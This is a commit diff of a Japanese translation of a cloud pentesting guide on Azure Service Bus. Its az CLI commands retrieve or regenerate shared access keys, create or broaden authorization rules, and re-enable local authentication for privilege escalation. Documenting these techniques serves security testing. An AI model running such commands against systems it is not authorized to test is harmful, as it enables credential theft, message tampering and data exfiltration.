Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-02-15 03:27:02 +00:00
parent 695024da7a
commit d50ed593cb
2 changed files with 97 additions and 29 deletions

View File

@@ -10,7 +10,79 @@
../az-services/az-servicebus-enum.md
{{#endref}}
### メッセージを送信します。アクション: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` または `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
### Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action または Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action
これらの権限により、Service Bus 名前空間内のローカル認証ルールのキーを取得または再生成できます。このキーを使用することで、Service Bus 名前空間として認証でき、任意のキューやトピックにメッセージを送信したり、任意のキューやサブスクリプションからメッセージを受信したり、システムに対して操作を妨害したり、正当なユーザーを偽装したり、メッセージングワークフローに悪意のあるデータを注入したりする可能性があります。
デフォルトでは、**`RootManageSharedAccessKey` ルールは Service Bus 名前空間に対して完全な制御を持っています** そしてこれは `az` cli によって使用されますが、他のキー値を持つ他のルールが存在する可能性があります。
```bash
# List keys
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey]
# Regenerate keys
az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]
```
### Microsoft.ServiceBus/namespaces/AuthorizationRules/write
この権限を使用すると、すべての権限と独自のキーを持つ**新しい認証ルールを作成**することができます:
```bash
az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send
```
>[!WARNING]
>このコマンドはキーで応答しないため、特権を昇格させるために前のコマンド(および権限)で取得する必要があります。
さらに、そのコマンド(および `Microsoft.ServiceBus/namespaces/authorizationRules/read`を使用して、Azure CLIを通じてこのアクションを実行すると、既存の承認ルールを更新し、次のコマンドでより多くの権限を与えることが可能です
```bash
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
--namespace-name <MyNamespace> \
--name RootManageSharedAccessKey \
--rights Manage Listen Send
```
### Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action
Service Bus 名前空間内の特定のトピックとキューは、それぞれ独自の承認ルールを持つことができ、エンティティへのアクセスを制御するために使用できます。これらの権限を持つことで、**これらのローカル承認ルールのキーを取得または再生成する**ことができ、エンティティとして認証し、メッセージの送受信、サブスクリプションの管理、またはシステムと相互作用して操作を妨害したり、有効なユーザーを偽装したり、メッセージングワークフローに悪意のあるデータを注入したりする可能性があります。
```bash
# List keys (topics)
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
# Regenerate keys (topics)
az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
# List keys (queues)
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>
# Regenerate keys (queues)
az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>
```
### Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write
この権限を使用すると、すべての権限と独自のキーを持つ**新しい認証ルールを作成**することができます:
```bash
# In a topic
az servicebus topic authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send
# In a queue
az servicebus queue authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send
```
>[!WARNING]
>このコマンドはキーで応答しないため、特権を昇格させるために前のコマンド(および権限)で取得する必要があります。
さらに、そのコマンド(および `Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read`を使用して、Azure CLIを通じてこのアクションを実行すると、既存の承認ルールを更新し、次のコマンドでより多くの権限を与えることが可能です不足している場合
```bash
# In a topic
az servicebus topic authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send
# In a queue
az servicebus queue authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send
```
### Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read if az cli is used)
これらの権限により、**攻撃者は次のコマンドを使用して「ローカル認証」を再有効化できます**。そのため、共有ポリシーからのすべてのキーが機能します。
```bash
az servicebus namespace update --disable-local-auth false -n <namespace-name> --resource-group <res-group>
```
### Send Messages with keys (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action OR Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action)
`PrimaryConnectionString`を取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用すると、Service Bus名前空間として完全に認証でき、任意のキューやトピックにメッセージを送信し、システムに対して操作を妨害したり、有効なユーザーを偽装したり、メッセージングワークフローに悪意のあるデータを注入したりする可能性があります。
```python
@@ -81,9 +153,9 @@ print("Messages Sent")
print("----------------------------")
```
### メッセージを受信する。アクション: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` または `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
### Recieve with keys (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action OR Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action)
PrimaryConnectionStringを取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用すると、名前空間内の任意のキューまたはサブスクリプションからメッセージを受信でき、潜在的に機密または重要なデータアクセスでき、データの流出を可能にしたり、メッセージ処理やアプリケーションのワークフローに干渉したりすることができます。
PrimaryConnectionStringを取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用して、名前空間内の任意のキューまたはサブスクリプションからメッセージを受信でき、潜在的に機密または重要なデータへのアクセスを可能にし、データの流出を促進したり、メッセージ処理やアプリケーションのワークフローに干渉したりすることができます。
```python
#You need to install the following libraries
#pip install azure-servicebus
@@ -127,17 +199,7 @@ asyncio.run(receive_and_process_messages())
print("Message Receiving Completed")
print("----------------------------")
```
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
これらの権限がある場合、共有アクセスキーを読み取ったり作成したりすることで特権を昇格させることができます。これらのキーは、キュー、トピックの管理、メッセージの送受信を含むService Bus名前空間に対する完全な制御を可能にし、役割ベースのアクセス制御RBACを回避する可能性があります。
```bash
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
--namespace-name <MyNamespace> \
--name RootManageSharedAccessKey \
--rights Manage Listen Send
```
## 参考文献
## References
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api

View File

@@ -4,7 +4,7 @@
## Service Bus
Azure Service Busは、アプリケーションの異なる部分や別のアプリケーション間の信頼性のある**通信を可能にするために設計された**クラウドベースの**メッセージングサービス**です。これは、安全な仲介者として機能し、送信者と受信者が同時に作していなくてもメッセージが安全に配信されることを保証します。システムを分離することで、アプリケーションは独立して動作しながらデータや指示を交換できます。これは、複数のワーカー間での負荷分散、信頼性のあるメッセージ配信、または順序通りのタスク処理やアクセスの安全な管理など、複雑な調整が必要なシナリオに特に役立ちます。
Azure Service Busは、アプリケーションの異なる部分または別々のアプリケーション間の信頼性のある**通信を可能にするために設計された**クラウドベースの**メッセージングサービス**です。これは、安全な仲介者として機能し、送信者と受信者が同時に作していなくてもメッセージが安全に配信されることを保証します。システムを分離することで、アプリケーションは独立して動作しながらデータや指示を交換することができます。これは、複数のワーカー間での負荷分散、信頼性のあるメッセージ配信、または順序通りのタスク処理やアクセス管理のような複雑な調整が必要なシナリオに特に役立ちます。
### Key Concepts
@@ -24,7 +24,7 @@ Azure Service Busは、アプリケーションの異なる部分や別のアプ
- **メッセージセッション**: FIFO処理を保証し、リクエスト-レスポンスパターンをサポートします。
- **自動転送**: 同じネームスペース内のキューまたはトピック間でメッセージを転送します。
- **デッドレター**: 配信不能なメッセージをレビューのためにキャプチャします。
- **デッドレター**: 配信できないメッセージをレビューのためにキャプチャします。
- **スケジュール配信**: 将来のタスクのためにメッセージ処理を遅延させます。
- **メッセージ延期**: 準備ができるまでメッセージの取得を延期します。
- **トランザクション**: 操作を原子的な実行にグループ化します。
@@ -42,7 +42,7 @@ SASポリシーは、Azure Service Busエンティティネームスペース
- 送信: エンティティにメッセージを送信することを許可します。
- リスン: エンティティからメッセージを受信することを許可します。
- **プライマリおよびセカンダリキー**: アクセスを認証するための安全なトークンを生成するために使用される暗号化キーです。
- **プライマリおよびセカンダリ接続文字列**: エンドポイントとキーを含む事前設定された接続文字列で、アプリケーションでの使用が簡単です。
- **プライマリおよびセカンダリ接続文字列**: エンドポイントとキーを含む事前構成された接続文字列で、アプリケーションでの使用が簡単です。
- **SASポリシーARM ID**: プログラムによる識別のためのポリシーへのAzureリソースマネージャーARMパスです。
### NameSpace
@@ -54,18 +54,6 @@ sku, authrorization rule,
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
az servicebus queue show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyQueue>
# Topic Enumeration
az servicebus topic list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
az servicebus topic show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyTopic>
# Susbscription Enumeration
az servicebus topic subscription list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus topic subscription show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic> --name <MySubscription>
# Namespace Enumeration
az servicebus namespace list
az servicebus namespace network-rule-set list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -79,6 +67,23 @@ az servicebus namespace authorization-rule list --resource-group <MyResourceGrou
az servicebus queue authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --queue-name <MyQueue>
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
# Get keys
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <topic-name> --name <auth-rule-name>
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
az servicebus queue show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyQueue>
# Topic Enumeration
az servicebus topic list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
az servicebus topic show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyTopic>
# Susbscription Enumeration
az servicebus topic subscription list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus topic subscription show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic> --name <MySubscription>
```
{{#endtab }}
@@ -128,6 +133,7 @@ Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <Nam
{{#endtab }}
{{#endtabs }}
### 権限昇格
{{#ref}}